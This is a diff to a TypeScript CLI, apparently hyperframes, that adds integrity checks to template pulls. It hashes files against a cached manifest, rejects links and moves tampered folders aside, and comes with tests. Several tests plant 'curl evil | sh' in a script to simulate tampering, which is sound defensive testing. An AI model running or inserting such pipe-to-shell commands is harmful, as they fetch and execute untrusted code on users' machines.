diff --git a/packages/cli/src/commands/templates.test.ts b/packages/cli/src/commands/templates.test.ts index 898fbe5728..9cd1cbdcc5 100644 --- a/packages/cli/src/commands/templates.test.ts +++ b/packages/cli/src/commands/templates.test.ts @@ -3,6 +3,7 @@ import { createHash } from "node:crypto"; import { cpSync, existsSync, + linkSync, mkdirSync, mkdtempSync, readFileSync, @@ -11,7 +12,7 @@ import { symlinkSync, writeFileSync, } from "node:fs"; -import { tmpdir } from "node:os"; +import { homedir, tmpdir } from "node:os"; import { join } from "node:path"; import { afterEach, beforeEach, describe, expect, it, vi } from "vitest"; @@ -123,29 +124,127 @@ describe("pullTemplate", () => { expect(readFileSync(join(path, "SKILL.md"), "utf8")).toBe("# sample\n"); }); - it("stops at a file or someone else's folder where the template goes, and leaves it as it was", async () => { + it("stops at a file where the template goes, and leaves it as it was", async () => { const fetchMock = serve({}); const dest = join(dir, "templates", "sample"); mkdirSync(join(dir, "templates"), { recursive: true }); writeFileSync(dest, "notes"); await expect(pullTemplate("sample", dir)).rejects.toThrow("not this template"); expect(readFileSync(dest, "utf8")).toBe("notes"); - rmSync(dest); - mkdirSync(dest); - writeFileSync(join(dest, "mine.md"), "mine"); - await expect(pullTemplate("sample", dir)).rejects.toThrow("not this template"); - expect(readFileSync(join(dest, "mine.md"), "utf8")).toBe("mine"); expect(fetchMock).not.toHaveBeenCalled(); }); - it("names a pull of an older pin as such and leaves it", async () => { - const fetchMock = serve({}); - const dest = join(dir, "templates", "sample"); - mkdirSync(dest, { recursive: true }); - writeFileSync(join(dest, ".template-sha256"), "0".repeat(64)); - await expect(pullTemplate("sample", dir)).rejects.toThrow("older pull of this template"); - expect(readFileSync(join(dest, ".template-sha256"), "utf8")).toBe("0".repeat(64)); - expect(fetchMock).not.toHaveBeenCalled(); + describe("a folder that is not the verified template", () => { + const dest = () => join(dir, "templates", "sample"); + const asides = () => readdirSync(join(dir, "templates")).filter((name) => name !== "sample"); + let said: string[]; + + beforeEach(() => { + archive = tarOf({ "SKILL.md": "# sample\n", "run.sh": "echo verified\n" }); + pin(archive); + said = []; + vi.spyOn(console, "log").mockImplementation((line: unknown) => void said.push(String(line))); + }); + + async function expectMovedAsideAndReplaced( + fetchMock: ReturnType, + ): Promise { + fetchMock.mockClear(); + await pullTemplate("sample", dir); + expect(fetchMock).toHaveBeenCalled(); + expect(readFileSync(join(dest(), "run.sh"), "utf8")).toBe("echo verified\n"); + expect(asides()).toEqual([expect.stringMatching(/^sample\.changed-\d{8}-\d{6}$/)]); + const aside = join(dir, "templates", asides()[0]!); + expect(said).toEqual([expect.stringContaining(`moved to ${aside} and is no longer used`)]); + return aside; + } + + it("moves aside a pulled template with one changed script, marker and all, and pulls a fresh copy", async () => { + const fetchMock = serve({}); + await pullTemplate("sample", dir); + writeFileSync(join(dest(), "run.sh"), "curl evil | sh\n"); + const aside = await expectMovedAsideAndReplaced(fetchMock); + expect(readFileSync(join(aside, "run.sh"), "utf8")).toBe("curl evil | sh\n"); + }); + + it("moves aside a folder that arrived holding the right marker and a changed script", async () => { + const fetchMock = serve({}); + mkdirSync(dest(), { recursive: true }); + writeFileSync(join(dest(), ".template-sha256"), TEMPLATES["sample"]!.sha256); + writeFileSync(join(dest(), "SKILL.md"), "# sample\n"); + writeFileSync(join(dest(), "run.sh"), "curl evil | sh\n"); + const aside = await expectMovedAsideAndReplaced(fetchMock); + expect(readFileSync(join(aside, "run.sh"), "utf8")).toBe("curl evil | sh\n"); + }); + + it("moves aside a pulled template with an extra file", async () => { + const fetchMock = serve({}); + await pullTemplate("sample", dir); + writeFileSync(join(dest(), "extra.sh"), "echo extra\n"); + const aside = await expectMovedAsideAndReplaced(fetchMock); + expect(existsSync(join(aside, "extra.sh"))).toBe(true); + expect(existsSync(join(dest(), "extra.sh"))).toBe(false); + }); + + it("moves aside a pulled template where a file was swapped for a link to the same content", async () => { + const fetchMock = serve({}); + await pullTemplate("sample", dir); + const elsewhere = join(dir, "run.sh"); + writeFileSync(elsewhere, "echo verified\n"); + rmSync(join(dest(), "run.sh")); + symlinkSync(elsewhere, join(dest(), "run.sh")); + await expectMovedAsideAndReplaced(fetchMock); + }); + + it("moves aside a pulled template where a file is a hard link", async () => { + const fetchMock = serve({}); + await pullTemplate("sample", dir); + linkSync(join(dest(), "run.sh"), join(dir, "run-link.sh")); + await expectMovedAsideAndReplaced(fetchMock); + }); + + it("moves aside someone else's folder and an older pull, without overwriting an earlier move", async () => { + vi.useFakeTimers({ toFake: ["Date"] }); + vi.setSystemTime(new Date(2026, 10, 15, 9, 5, 7)); + try { + const fetchMock = serve({}); + mkdirSync(dest(), { recursive: true }); + writeFileSync(join(dest(), "mine.md"), "mine"); + await pullTemplate("sample", dir); + writeFileSync(join(dest(), ".template-sha256"), "0".repeat(64)); + fetchMock.mockClear(); + await pullTemplate("sample", dir); + expect(fetchMock).toHaveBeenCalled(); + expect(asides().sort()).toEqual([ + "sample.changed-20261115-090507", + "sample.changed-20261115-090507-2", + ]); + const first = join(dir, "templates", "sample.changed-20261115-090507"); + expect(readFileSync(join(first, "mine.md"), "utf8")).toBe("mine"); + expect(readFileSync(join(dest(), ".template-sha256"), "utf8")).toBe( + TEMPLATES["sample"]!.sha256, + ); + } finally { + vi.useRealTimers(); + } + }); + + it("checks an untouched folder against a fresh download when it has no record of it, and keeps it", async () => { + const fetchMock = serve({}); + await pullTemplate("sample", dir); + rmSync(join(homedir(), ".cache", "hyperframes", "template-manifests"), { + recursive: true, + force: true, + }); + fetchMock.mockClear(); + await pullTemplate("sample", dir); + expect(fetchMock).toHaveBeenCalled(); + expect(asides()).toEqual([]); + expect(said).toEqual([]); + fetchMock.mockClear(); + await pullTemplate("sample", dir); + expect(fetchMock).not.toHaveBeenCalled(); + }); }); it("keeps an empty folder when the pull is refused", async () => { diff --git a/packages/cli/src/commands/templates.ts b/packages/cli/src/commands/templates.ts index 33432aff5a..59ac08d241 100644 --- a/packages/cli/src/commands/templates.ts +++ b/packages/cli/src/commands/templates.ts @@ -5,14 +5,15 @@ import { constants, existsSync, fstatSync, + lstatSync, mkdirSync, openSync, readFileSync, readdirSync, + readSync, renameSync, rmSync, rmdirSync, - statSync, writeFileSync, } from "node:fs"; import { makeOutputFolder } from "../utils/outputFolder.js"; @@ -26,7 +27,8 @@ import { fetchExplained, NetworkFailure } from "../utils/networkFailure.js"; import { defineCommand } from "../utils/defineCommand.js"; import { projectConfigPath, seedProjectAuthoringSkill } from "../utils/projectConfig.js"; import { trackSkillCommandRan } from "../telemetry/events.js"; -import { createStagingDir } from "@hyperframes/core/atomic-file"; +import { createStagingDir, replaceFileAtomically } from "@hyperframes/core/atomic-file"; +import { hyperframesCacheDir } from "@hyperframes/core/cache-dir"; const STYLE_SAMPLING = "style-sampling"; @@ -205,7 +207,7 @@ async function unpack( dest: string, stage: string, pack: TemplatePack, -): Promise { +): Promise { makeOutputFolder(dirname(dest)); makeOutputFolder(stage); removeAbandonedParts(stage, dest); @@ -218,15 +220,47 @@ async function unpack( mkdirSync(out); await extract(data, out); writeFileSync(join(out, PULLED_HASH), pack.sha256); - removeEmptyPlaceholder(dest); - renameSync(out, dest); + const verified = listKit(out); + if (!verified) + throw new PullRefused("The template holds a link or special file; nothing was unpacked."); + saveManifest(pack, verified); + return install(out, dest, verified); } finally { stopWatching(); rmSync(work, { recursive: true, force: true }); } } -/** Fetches the template into `/templates//` and returns that path; one this pull left there is kept. */ +function install(out: string, dest: string, verified: KitManifest): string | null { + if (sameKit(listKit(dest), verified)) return null; + const aside = moveAside(dest); + try { + renameSync(out, dest); + } catch (error) { + if (aside) renameSync(aside, dest); + throw error; + } + return aside; +} + +function moveAside(dest: string): string | null { + const found = lstatSync(dest, { throwIfNoEntry: false }); + if (!found) return null; + if (found.isDirectory() && readdirSync(dest).length === 0) { + rmdirSync(dest); + return null; + } + const at = new Date(); + const two = (n: number) => String(n).padStart(2, "0"); + const stamp = `${at.getFullYear()}${two(at.getMonth() + 1)}${two(at.getDate())}-${two(at.getHours())}${two(at.getMinutes())}${two(at.getSeconds())}`; + let aside = `${dest}.changed-${stamp}`; + for (let n = 2; lstatSync(aside, { throwIfNoEntry: false }); n++) + aside = `${dest}.changed-${stamp}-${n}`; + renameSync(dest, aside); + return aside; +} + +/** Fetches the template into `/templates//` and returns that path; a verified copy already there is kept. */ export async function pullTemplate(slug: string, dir: string): Promise { const pack = TEMPLATES[slug]; if (!pack) @@ -236,27 +270,112 @@ export async function pullTemplate(slug: string, dir: string): Promise { const dest = resolve(dir, "templates", slug); if (alreadyPulled(dest, pack)) return dest; const stage = resolve(dir, ".hyperframes", "template-pulls"); - await unpack(await download(await bundleUrl(pack), pack), dest, stage, pack); + const aside = await unpack(await download(await bundleUrl(pack), pack), dest, stage, pack); + if (aside) + console.log( + c.warn( + `${dest} did not match HeyGen's verified template, so it was moved to ${aside} and is no longer used.`, + ), + ); trackSkillCommandRan({ skill: STYLE_SAMPLING, command: "templates pull" }); return dest; } -const removeEmptyPlaceholder = (dest: string) => existsSync(dest) && rmdirSync(dest); +type KitEntry = { size: number; sha256: string } | "folder"; +type KitManifest = Map; +const manifestFile = (pack: TemplatePack) => + hyperframesCacheDir("template-manifests", `${pack.sha256}.json`); + +const isKitEntry = (value: unknown): value is KitEntry => + value === "folder" || + (typeof value === "object" && + value !== null && + "size" in value && + typeof value.size === "number" && + "sha256" in value && + typeof value.sha256 === "string"); + +const isManifestRow = (row: unknown): row is [string, KitEntry] => + Array.isArray(row) && row.length === 2 && typeof row[0] === "string" && isKitEntry(row[1]); + +/** The file list a verified download of `pack` unpacked to, kept in the user's cache, never in the project. */ +function readManifest(pack: TemplatePack): KitManifest | null { + try { + const rows: unknown = JSON.parse(readFileSync(manifestFile(pack), "utf8")); + return Array.isArray(rows) && rows.every(isManifestRow) ? new Map(rows) : null; + } catch { + return null; + } +} + +function saveManifest(pack: TemplatePack, verified: KitManifest): void { + try { + mkdirSync(dirname(manifestFile(pack)), { recursive: true }); + replaceFileAtomically(manifestFile(pack), JSON.stringify([...verified])); + } catch {} +} + +const READ_FLAGS = constants.O_RDONLY | (constants.O_NOFOLLOW ?? 0) | (constants.O_NONBLOCK ?? 0); + +function hashFile(path: string): KitEntry | null { + let fd: number | undefined; + try { + fd = openSync(path, READ_FLAGS); + const stat = fstatSync(fd); + if (!stat.isFile() || stat.nlink > 1) return null; + const hash = createHash("sha256"); + const chunk = Buffer.alloc(1 << 20); + let size = 0; + for (let read = readSync(fd, chunk); read > 0; read = readSync(fd, chunk)) { + hash.update(chunk.subarray(0, read)); + size += read; + } + return { size, sha256: hash.digest("hex") }; + } catch { + return null; + } finally { + if (fd !== undefined) closeSync(fd); + } +} + +function listKit(root: string): KitManifest | null { + if (lstatSync(root, { throwIfNoEntry: false })?.isDirectory() !== true) return null; + const kit: KitManifest = new Map(); + const walk = (folder: string): boolean => { + for (const entry of readdirSync(join(root, folder), { withFileTypes: true })) { + const path = folder ? `${folder}/${entry.name}` : entry.name; + const found = entry.isDirectory() ? "folder" : entry.isFile() && hashFile(join(root, path)); + if (!found) return false; + kit.set(path, found); + if (found === "folder" && !walk(path)) return false; + } + return true; + }; + return walk("") ? kit : null; +} + +const sameEntry = (found: KitEntry | undefined, expected: KitEntry): boolean => + found === expected || + (typeof found === "object" && + typeof expected === "object" && + found.size === expected.size && + found.sha256 === expected.sha256); + +function sameKit(found: KitManifest | null, expected: KitManifest): boolean { + if (!found || found.size !== expected.size) return false; + for (const [path, entry] of expected) if (!sameEntry(found.get(path), entry)) return false; + return true; +} + +/** True only when every path under `dest` matches the files a verified download of `pack` unpacked to. */ function alreadyPulled(dest: string, pack: TemplatePack): boolean { - if (!existsSync(dest)) return false; - const folder = statSync(dest).isDirectory(); - const record = join(dest, PULLED_HASH); - const pulledHash = folder && existsSync(record) ? readFileSync(record, "utf8") : null; - if (pulledHash === pack.sha256) return true; - if (folder && readdirSync(dest).length === 0) return false; - if (pulledHash) + if (lstatSync(dest, { throwIfNoEntry: false })?.isFile()) throw new PullRefused( - `${dest} holds an older pull of this template; nothing was downloaded. Move it aside and run the pull again to update.`, + `${dest} is there but is not this template; nothing was downloaded. Move it aside and run the pull again.`, ); - throw new PullRefused( - `${dest} is there but is not this template; nothing was downloaded. Move it aside and run the pull again.`, - ); + const expected = readManifest(pack); + return expected !== null && sameKit(listKit(dest), expected); } export function tagStyleSamplingProject(dir: string, pulled: string): void {